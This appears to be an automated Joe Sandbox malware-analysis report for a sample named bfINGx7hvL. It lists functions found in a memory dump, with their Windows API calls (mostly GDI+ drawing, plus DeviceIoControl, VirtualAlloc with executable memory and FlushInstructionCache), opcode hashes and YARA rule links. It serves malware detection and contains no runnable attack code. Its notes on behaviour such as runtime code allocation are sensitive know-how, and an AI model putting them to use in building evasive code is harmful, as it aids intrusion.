Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ExecuteFileInfoShell
String ID: :\$open
API String ID: 1133623499-1518230227
Opcode ID: 32030abe5b6b5a0b7e82afceee751789d6d9b24d76d1d0de1a37681a463aeea6
Instruction ID: b7703ac5843652f046152170b7ecde8b283b9c93cdaa8f15a7c76f12125bb424
Opcode Fuzzy Hash: 32030abe5b6b5a0b7e82afceee751789d6d9b24d76d1d0de1a37681a463aeea6
Instruction Fuzzy Hash: 07F0E175E4030CABEB00DF94DC96F9DB7B8BB18704F008456FA05DB290D6B46A04DB55

Function 00441240 Relevance: 6.5, APIs: 4, Instructions: 471COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00540118,000000FF), ref: 0044127F
GdipSetStringFormatAlign.GDIPLUS(?,00000002), ref: 00441386

Part of subcall function 004CC050: GdipCreateSolidFill.GDIPLUS(?,FF414141,B681F143,?,?,?), ref: 004CC0A9
Part of subcall function 004CC050: GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,00000000,00000000,?,?,?), ref: 004CC121
Part of subcall function 004CC050: GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,00000000,?,?,?,?), ref: 004CC18D

Part of subcall function 004CC050: GdipDeleteBrush.GDIPLUS(?,?,?,?), ref: 004CC1A9

GdipSetStringFormatAlign.GDIPLUS(?,00000000,?,00000000,?,?,00000016,?,FF414141,?,00000000,?,?,00000016,?,FF414141), ref: 00441865
GdipDeleteStringFormat.GDIPLUS(?,?,0000007E,00000036,?,00000016,?,FF414141), ref: 004418BF

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$Format$AlignCreateDeleteDraw$BrushFillSolid
String ID:
API String ID: 1713294839-0
Opcode ID: 0bdef8727a6907d0153510461fa6637eb7a5a1145e2b71ab58448d540323ba17
Instruction ID: 5ba4bf7f39ff79144ff88382843ad214eba5f59aea84957b257ca6e8f98e291d
Opcode Fuzzy Hash: 0bdef8727a6907d0153510461fa6637eb7a5a1145e2b71ab58448d540323ba17
Instruction Fuzzy Hash: 222225B5204702EFD714CF28C884E96BBE8FF59364F04461EF8A8972A1D734E954CBA5

Function 004A72E0 Relevance: 6.2, APIs: 4, Instructions: 161windowCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,07770C40,00000000,00000285,00000000,00000285,?,00000000), ref: 004A736D
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A7390
DeviceIoControl.KERNEL32(?,07770C84,?,00000295,?,00000295,?,00000000), ref: 004A7481
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A74A0

Part of subcall function 004FFCFE: _malloc.LIBCMT ref: 004FFD16

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ControlDeviceMessagePeek$_malloc
String ID:
API String ID: 706846246-0
Opcode ID: a33365cb78780a06058904eb9aa3c6e270a0e606a8900395005601a07d047d99
Instruction ID: 3249e15b07e49eda3519ea353384b7fef2f1e193b73757c876742ef21707c496
Opcode Fuzzy Hash: a33365cb78780a06058904eb9aa3c6e270a0e606a8900395005601a07d047d99
Instruction Fuzzy Hash: 29518171A40318ABDB10DF94CC49BEEBBB8FF19714F14412AE904BB2C0D7B59944CBA5

Function 00448370 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

APIs

GdipDrawImage.GDIPLUS(?,00000000), ref: 004483E6
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 00448404
GdipSetStringFormatAlign.GDIPLUS(?,00000002), ref: 0044841C
GdipDeleteStringFormat.GDIPLUS(00000000,?,00000000,?,?,00000014,?,FF414141,?,00000000,?,?,00000014,?,FF414141,?), ref: 00448505

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$AlignCreateDeleteDrawImage
String ID:
API String ID: 3591613321-0
Opcode ID: 9284a02a76feb8575200f451f57aa82c024adf050106ac514a1b3fb2f394b86b
Instruction ID: 3aa694b5bc46787fb8de9f3df625cf2318682f59eeca7f70602fcc19d3cd1175
Opcode Fuzzy Hash: 9284a02a76feb8575200f451f57aa82c024adf050106ac514a1b3fb2f394b86b
Instruction Fuzzy Hash: 7D518B71204702EFE704CF28C884F9ABBE4FF99714F044A1DF559972A1DB70A858CBA5

Function 004CC050 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

GdipCreateSolidFill.GDIPLUS(?,FF414141,B681F143,?,?,?), ref: 004CC0A9
GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,00000000,00000000,?,?,?), ref: 004CC121
GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,00000000,?,?,?,?), ref: 004CC18D
GdipDeleteBrush.GDIPLUS(?,?,?,?), ref: 004CC1A9

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$DrawString$BrushCreateDeleteFillSolid
String ID:
API String ID: 4101622418-0
Opcode ID: a057df0e225cbec0be139d0a3cd83048824a49fd74ded992ac97cc4dc7caadf8
Instruction ID: e0038b9d0685308181ed090feaf07842e71fd62a4c13406fe1d76e7a4da1b15f
Opcode Fuzzy Hash: a057df0e225cbec0be139d0a3cd83048824a49fd74ded992ac97cc4dc7caadf8
Instruction Fuzzy Hash: 30413B75A11249DFCB01CF65C880AAEFBB4FF99310F24831AE815B7290E774A894DF54

Function 004A45C0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,00000108,B681F143,?,00000000,00549910,000000FF), ref: 004A4655
GdipSetStringFormatAlign.GDIPLUS(00000108,00000001), ref: 004A4775
GdipSetStringFormatLineAlign.GDIPLUS(00000108,00000001), ref: 004A4786
GdipSetStringFormatFlags.GDIPLUS(00000108,00001000), ref: 004A479A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: FormatGdipString$Align$CreateFlagsLine
String ID:
API String ID: 1889025379-0
Opcode ID: 9a33e5de6ce44d720b9f1d21e40e3fb45c2cd3d00268d004783f2499a8b94922
Instruction ID: 9f84e90830f94faacd2501bb9ba1cd19f040a3c7652e415f549aa93534a9ad48
Opcode Fuzzy Hash: 9a33e5de6ce44d720b9f1d21e40e3fb45c2cd3d00268d004783f2499a8b94922
Instruction Fuzzy Hash: EF5103B0901245EEEB05CF64C91879ABFF4FF16318F20819DD458AF291D3BA9A09DB90

Function 00415180 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

GdipDrawImage.GDIPLUS(?,00000000), ref: 004151F7
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 00415215
GdipSetStringFormatAlign.GDIPLUS(?,00000002), ref: 0041522D
GdipDeleteStringFormat.GDIPLUS(00000000,?,00000000,?,?,00000021,?,FF414141), ref: 00415295

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$AlignCreateDeleteDrawImage
String ID:
API String ID: 3591613321-0
Opcode ID: df4b83b9adf1b523246b0ce8e097a9382144786572122b45ea30d5d0c6b13612
Instruction ID: 6dfbc7c8ebecd59f608c0fea9eef570648a8622311eb76a0c6e5ea3eb3f79d85
Opcode Fuzzy Hash: df4b83b9adf1b523246b0ce8e097a9382144786572122b45ea30d5d0c6b13612
Instruction Fuzzy Hash: 9E313775608701EFD715CF28C884B96BBE8FF99750F14471AF859A72A0DB30A844CBA5

Function 004CC2E0 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,FF414141,B681F143,?), ref: 004CC368
GdipSetTextRenderingHint.GDIPLUS(00000000,00000005), ref: 004CC37F
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,?,00000000,00000000,?,?), ref: 004CC3B7
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 004CC3F0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$Format$CreateDeleteHintMeasureRenderingText
String ID:
API String ID: 3263196359-0
Opcode ID: 2b4f6c61aee7b9e45ebd9a6a4a7a28c41125c3560ef1e8b05b255a746f50fb74
Instruction ID: 09e53d610c01f2ae1211616a80f7272732c49c8845eccaa2798b86226e55fb17
Opcode Fuzzy Hash: 2b4f6c61aee7b9e45ebd9a6a4a7a28c41125c3560ef1e8b05b255a746f50fb74
Instruction Fuzzy Hash: 93413371A10249EFDB02CF60D884B9EBBB8FF09314F10822AE815B7290E775A895DF50

Function 00409220 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS(?,?), ref: 00409248
GdipGetImageWidth.GDIPLUS(?,?), ref: 0040926F
GdipGetImageHeight.GDIPLUS(?,?), ref: 004092C7
GdipGetImageWidth.GDIPLUS(?,?), ref: 004092EE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipImage$HeightWidth
String ID:
API String ID: 87155632-0
Opcode ID: 790e16419a5339ed3242f5b8c1d1355ae43437fe184ec655f85a61c521b8808a
Instruction ID: eed248b9beef3cb492fa3724ae78c1d6ee375514bd793ae0381193ca8f78f0f9
Opcode Fuzzy Hash: 790e16419a5339ed3242f5b8c1d1355ae43437fe184ec655f85a61c521b8808a
Instruction Fuzzy Hash: A7311CB1104606AFC750DF29D884B9AF7E9FB94310F14492EF9A8D3290DB30E954DBA5

Function 00409330 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS(?,?), ref: 00409358
GdipGetImageWidth.GDIPLUS(?,?), ref: 0040937F
GdipGetImageHeight.GDIPLUS(?,?), ref: 004093D7
GdipGetImageWidth.GDIPLUS(?,?), ref: 004093FE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipImage$HeightWidth
String ID:
API String ID: 87155632-0
Opcode ID: 2672969cb5bb4fcc671a0426559697d75ed217e437baea6568ddbb9bf92a8ab4
Instruction ID: a82a16ee1349a0d43971f9266b75aa98ef81c277b78cc4d967d64c43aabd7ee8
Opcode Fuzzy Hash: 2672969cb5bb4fcc671a0426559697d75ed217e437baea6568ddbb9bf92a8ab4
Instruction Fuzzy Hash: 74311CB1204606AFC710CF29D884B9BB7E8FB94311F10462EF9A8D3291D730E918CBA5

Function 004525F0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 004CBC00: GdipCreateSolidFill.GDIPLUS(?,FFFFFFFF), ref: 004CBC55
Part of subcall function 004CBC00: GdipFillRectangle.GDIPLUS(?,00000000), ref: 004CBCAB
Part of subcall function 004CBC00: GdipDeleteBrush.GDIPLUS(00000000), ref: 004CBCC7

GdipCreateStringFormat.GDIPLUS(00000000,00000000,FFF2F2F2,?,00000001,00000000,000000BD,?,?,00000001,00000001), ref: 0045266F
GdipSetStringFormatAlign.GDIPLUS(FFFFFFFF,00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00539A78), ref: 00452687
GdipSetStringFormatLineAlign.GDIPLUS(FFFFFFFF,00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00539A78), ref: 004526A0
GdipDeleteStringFormat.GDIPLUS(00000000,?,00000000,00000000,000000AA,0000001E,FFFFFFFF,FF1B64B1), ref: 00452700

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$AlignCreateDeleteFill$BrushLineRectangleSolid
String ID:
API String ID: 2519554343-0
Opcode ID: 3dc3701e2667b9d0af440eadf2f274fad97db4e9b81e2eb19c6b4b3ba539e488
Instruction ID: 1d84103dc9312e43c9005ea9e280662007978bdbdab233804babd63aba5da95e
Opcode Fuzzy Hash: 3dc3701e2667b9d0af440eadf2f274fad97db4e9b81e2eb19c6b4b3ba539e488
Instruction Fuzzy Hash: E1317A70208306AFDB10CF14CC86F5ABBE4FB99714F000A2DF955A72E1DB70E9089B96

Function 004081B0 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS(?,?), ref: 004081E1
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0040820C
GdipGetImageHeight.GDIPLUS(?,?), ref: 00408240
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0040826B

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipImage$HeightWidth
String ID:
API String ID: 87155632-0
Opcode ID: e883daf9a574172d3fc4126492fff0070f63e511ddc0a21f382956b3331f8e60
Instruction ID: eaa291464c2561fdeaef69911abea5bb1afba1cd30948bb03a6afac51bd30a47
Opcode Fuzzy Hash: e883daf9a574172d3fc4126492fff0070f63e511ddc0a21f382956b3331f8e60
Instruction Fuzzy Hash: 1B31C7712047069FD710CF29D984B6AB7E8FB49310F04456DE9A5D72A0DB30E918DBA5

Function 004080B0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS(?,?), ref: 004080E1
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0040810C
GdipGetImageHeight.GDIPLUS(?,?), ref: 00408140
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0040816B

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipImage$HeightWidth
String ID:
API String ID: 87155632-0
Opcode ID: 0d5d2bcf955e9eb29db1cfa891ab922e48e8c60a111d25280c1e983a9cbd6f44
Instruction ID: 71f86ceb0c113d1c4f77e10cb63fb7466350600d4cc0eddc6de9fe9586f759d2
Opcode Fuzzy Hash: 0d5d2bcf955e9eb29db1cfa891ab922e48e8c60a111d25280c1e983a9cbd6f44
Instruction Fuzzy Hash: 4231F671204706AFD710CF29D984B6AB7E8FF49310F044929F9A4DB3A0DB70E919DBA5

Function 004D44A0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,004A0394,B681F143), ref: 004D44B4
GetCurrentProcess.KERNEL32(?,00000014), ref: 004D4512
FlushInstructionCache.KERNEL32(00000000), ref: 004D4519
__CxxThrowException@8.LIBCMT ref: 004D452E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AllocCacheCurrentException@8FlushInstructionProcessThrowVirtual
String ID:
API String ID: 3709139884-0
